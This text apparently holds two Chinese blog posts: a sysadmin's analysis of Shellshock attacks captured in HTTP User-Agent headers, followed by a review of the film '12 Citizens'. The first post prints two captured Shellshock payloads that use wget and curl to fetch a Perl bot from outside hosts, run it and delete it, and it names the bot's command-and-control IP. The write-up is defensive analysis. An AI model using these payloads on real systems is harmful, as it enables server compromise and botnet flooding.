我又开nmap扫了一下这些攻击源IP，基本上都是世界各地的服务器，跑着各类web应用。按常识，不应该是这些服务器的管理员发起的对我们的攻击，很可能是被黑客当作肉鸡或跳板之后，被黑客当作了攻击工具。
为了弄清楚攻击的全貌，我在边界设备上开始抓包，希望能从攻击数据包里发现一点有价值的信息。抓到一些pcap包之后，用wireshark打开。
注意看，在http包里面，ua字段里插入了破壳漏洞的攻击代码：
() { :;};/usr/bin/perl -e ‘print “Content-Type: text/plain\r\n\r\nXSUCCESS!”;system(“wget -O /dev/null http://www.testvc.it/TESTONLY; curl -O /dev/null http://www.testvc.it/TESTONLY; fetch http://www.testvc.it/TESTONLY; GET http://www.testvc.it/TESTONLY; lwp-download http://www.testvc.it/TESTONLY; lynx http://www.testvc.it/TESTONLY“);’
另外的一个攻击IP发过来的和这个几乎一模一样：
() { :;};/usr/bin/perl -e ‘print “Content-Type: text/plain\r\n\r\nXSUCCESS!”;system(“wget http://tecnoalianza.com/a.log -O /tmp/a.log;curl -O /tmp/a.log http://tecnoalianza.com/a.log;perl /tmp/a.log;rm -rf /tmp/a.log*”);’
攻击者如果利用漏洞成功，就会在我的服务器上从指定的服务器下载一份文件到本地，从格式上看，应该是一份用perl写的脚本。然后在服务器运行这段脚本，接着删除掉。攻击代码并不复杂，长度也比较短，利用起来很方便。
接着，我把http://tecnoalianza.com/a.log 这份文件下载回来，准备研究一下这个脚本，不出意外的话，应该会是一个小木马。没想到刚下载到就被卡巴斯基识别为病毒文件-_-!!
打开这份文件，果然是用perl写的代码。从编写习惯来看，作者写代码还是非常规矩的，对齐、注释，一点也不马虎大意。接近1900行代码，因为没学过perl，读起来还是有一点吃力。大致的功能是，连接cc服务器并回传当前服务器的一些基本信息。接着从cc服务器获取指令，包含有一个ip信息。然后针对这个ip发起常见端口扫描、tcpflood、udpflood等等攻击。
也就是说，如果我的服务器没有打bash的补丁，被shellshock攻击成功后，会下载一个perl脚本，攻击者就可以控制我的服务器，再去攻击其他的计算机。
在perl脚本里，找到了cc服务器的ip：是乌克兰的213.186.118.35
忍不住又用nmap看了下大致情况：
注意看我红圈标注的内容。有没有很喜感。^_^
11月中旬以来，类似的攻击突然就销声匿迹了。就好像发起时候来的那般突然。
总结：
1.该打补丁的时候千万别懒，今天一偷懒，明天就坑爹。
2.是时候学学perl了。
3.如果服务器有杀毒软件，还是可以起到一定作用的。
]]>不是说《夏洛特烦恼》有多不好，而是像《十二公民》这样的好片子，应该得到高票房和高度认可。所以写下这篇不算影评的文字。
故事很简单，法学院的学生要补考英美法课程，需要审理一件富二代杀父的案件，不同社会角色的家长们组成陪审团，在听取学生法庭审理后，将对本案做出最终“判决。众多证据都指向嫌疑人有罪，只有陪审团做出12票全部通过的决议，学生们才算补考通过。陪审团从11：1的局势开始，围坐在一个仓库里开始激烈讨论，最终扭转判断认定嫌疑人无罪。
故事不复杂，场景也极其单一，几乎完全在一个场景里拍完了整部电影。能在几乎唯一的场景里拍完整部片子，而且不枯燥，吸引人看完，还觉得意犹未尽，这种功夫比市面上看到的绝大部分耗费千万制作出来的爆米花大电影，出色的不止一点半点。
当然，导演和众多演员本就是话剧演员出身，这是一个很重要的因素，但如果这样的片子能让观众对话剧产生兴趣，对这种越来越小众的艺术形式产生好奇，这就能让我为导演和主创们鼓掌。
尽管老头那个角色有些台词有些表演话剧味儿重了一些，相对于电影来说，有点出戏。但这种失误，恐怕要远远好于那些唐宋代的人拿着盖碗喝茶的穿帮。
看过电影的人中间，如果能有一半的观众明白无罪推定的意义，体会到冷静而独立思考的价值，这就足以支撑整部片子的意义。
我们总能看到法制社会建设的不足，这和公民普遍法治意识的缺位有密不可分的关系。也只有全社会、大部分公民受到一次又一次法制观念的熏陶，真正在心里有了法制的思维方式，这个社会的法制建设才有了足够的土壤。从这个角度，给这部电影1024个赞，不过分。
所以，不要说什么“在中国拍这种英美法律题材”没有意义，恰恰相反，通识性的知识普及，才最有意义。
人物的刻画上，老戏骨们的表演近乎完美，何冰捡起地上纸团时颤抖的双手，韩童生激动时抽搐的面部肌肉，比其他娱乐大片里假模假样的梨花带雨，不知道要高级多少倍。吃瓦片的房东在地域攻击之后发现得罪了更多人，为了不被孤立赶紧往回找补的样子，相信有过类似生活体验的人一眼就能看出来，对，那个情况下的人，就应该是那种表现。还有小卖铺的老板，演员钱波曾在电视剧《茶馆》里饰演唐铁嘴，也是一个嘴皮子利索的市侩，一个眼神一句台词，都能让人想起自家楼下的那个小老板。
我们不能要求每个配角都飙戏飙出风采，话不多的配角们没有一个掉链子糊弄事儿的，几乎挑不出毛病。
台词写的非常流畅，逻辑推理也严丝合缝。场景太过单一，无法用多种镜头和环境塑造事件，所以只能用精彩的台次表现冲突，而这部片的台词把每个角色由有罪说服到无罪的过程里，让人信服。
]]>